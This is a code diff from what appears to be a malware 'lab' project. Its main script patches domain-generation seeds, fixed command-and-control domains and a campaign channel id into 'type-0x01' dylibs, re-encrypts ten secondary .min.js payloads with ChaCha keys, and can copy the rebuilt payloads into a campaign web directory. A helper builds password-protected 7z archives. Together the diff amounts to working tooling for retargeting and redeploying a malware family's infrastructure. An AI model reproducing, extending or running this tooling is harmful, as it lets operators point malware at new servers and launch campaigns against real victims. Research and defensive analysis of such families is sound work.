"""Build passworded 7z; cache by content so py7zr's random salt does not drift runs."""
cache_key = sha256_hex(
member_name.encode("utf-8")
+ b"\0"
+ password.encode("utf-8")
+ b"\0"
+ payload
)
cache_dir = LAB_ROOT / "out" / "7z_cache"
cache_path = cache_dir / cache_key
if cache_path.is_file():
return cache_path.read_bytes()
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp)
member = root / member_name
@@ -67,7 +80,11 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes
archive = root / "out.7z"
with py7zr.SevenZipFile(archive, mode="w", password=password) as handle:
handle.write(member, arcname=member_name)
return archive.read_bytes()
data = archive.read_bytes()
cache_dir.mkdir(parents=True, exist_ok=True)
cache_path.write_bytes(data)
return data
def extract_daily_config_bytes() -> bytes:
@@ -139,7 +156,8 @@ def main() -> int:
if args.root:
set_tree_root(args.root)
ensure_tree_layout(tree_root())
# sync-only: campaign dirs are web/<channel-id>/ and may not match ORIGINAL
ensure_tree_layout(tree_root(), require_campaign=False)
if args.apply:
if not args.root:
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
+36 -9
View File
@@ -1,5 +1,5 @@
#!/usr/bin/env python3
"""Patch DGA seeds in the two unique type-0x01 dylibs and rebuild all 10 secondary .min.js."""
"""Patch DGA seeds / fixed domains / channel id in type-0x01 and rebuild .min.js."""
from __future__ import annotations
@@ -8,9 +8,11 @@ import json
import shutil
from pathlib import Path
from _channel_patch import patch_channel_in_dylib, validate_channel_id
from _common import (
GROUP_DYLIBS,
LAB_ROOT,
ORIGINAL_CHANNEL_ID,
SECONDARY_KEYS,
SOURCE_ROOT,
ensure_tree_layout,
@@ -28,8 +30,8 @@ import _common
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Replace Deployment/Reporting seeds in type-0x01 helpers and "
"re-encrypt all 10 secondary .min.js (same filenames, per-stem ChaCha keys)."
"Replace Deployment/Reporting seeds (and optional fixed domains / channel id) "
"in type-0x01 helpers, then re-encrypt all 10 secondary .min.js."
)
)
parser.add_argument(
@@ -42,6 +44,13 @@ def main() -> int:
required=True,
help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)",
)
parser.add_argument(
"--channel-id",
help=(
f"new 32-hex channel id written into type-0x01 and used as web/<id>/ "
f"(default: keep {ORIGINAL_CHANNEL_ID})"
),
)
parser.add_argument(
"--root",
type=Path,
@@ -55,7 +64,7 @@ def main() -> int:
parser.add_argument(
"--apply",
action="store_true",
help="also copy outputs into <root>/web/.../",
help="also copy outputs into <root>/web/<channel-id>/",
)
parser.add_argument(
"--deployment-domains",
@@ -72,6 +81,11 @@ def main() -> int:
args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
channel = (
validate_channel_id(args.channel_id)
if args.channel_id
else ORIGINAL_CHANNEL_ID
)
fixed_dep = (
parse_domain_list(args.deployment_domains, label="deployment")
if args.deployment_domains
@@ -86,16 +100,19 @@ def main() -> int:
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
if args.root:
set_tree_root(args.root)
ensure_tree_layout(tree_root())
set_tree_root(args.root, channel=channel)
ensure_tree_layout(tree_root(), channel=channel)
else:
_common.set_campaign_id(channel)
if args.apply:
if not args.root:
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
if tree_root().resolve() == SOURCE_ROOT.resolve():
raise SystemExit("refusing --apply into source/; create a project first")
out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary")
# re-bind after set_tree_root
campaign_dir = _common.CAMPAIGN_DIR
meta = json.loads(SECONDARY_KEYS.read_text())
stems = meta["stems"]
@@ -121,6 +138,14 @@ def main() -> int:
reporting_seed=rep,
label=path.name,
)
if channel != ORIGINAL_CHANNEL_ID:
data = patch_channel_in_dylib(
data,
channel,
old_channel=ORIGINAL_CHANNEL_ID,
expect_hits=1,
label=path.name,
)
patched[group] = data
print(
f"group {group}: patched {path.name} "
@@ -137,7 +162,6 @@ def main() -> int:
group = info["group"]
key = bytes.fromhex(info["key"])
wire = encrypt_secondary_minjs(patched[group], key)
# sanity: decrypt back
check = decrypt_secondary_minjs(wire, key)
if check != patched[group]:
raise SystemExit(f"round-trip failed for {stem}")
@@ -156,6 +180,7 @@ def main() -> int:
manifest = {
"deployment_seed": dep,
"reporting_seed": rep,
"channel_id": channel,
"mode": "fixed_domains" if fixed_dep is not None else "dga",
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
@@ -165,6 +190,7 @@ def main() -> int:
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
if args.apply:
campaign_dir.mkdir(parents=True, exist_ok=True)
for item in built:
src = out / f"{item['stem']}.min.js"
dst = campaign_dir / src.name
@@ -172,8 +198,9 @@ def main() -> int:
print(f"applied -> {dst}")
print(f"\nDone. Output: {out}")
print(f"channel: {channel}")
if not args.apply:
print(f"Re-run with --apply --root <project> to overwrite files under web/")
print(f"Re-run with --apply --root <project> to overwrite files under web/{channel}/")
return 0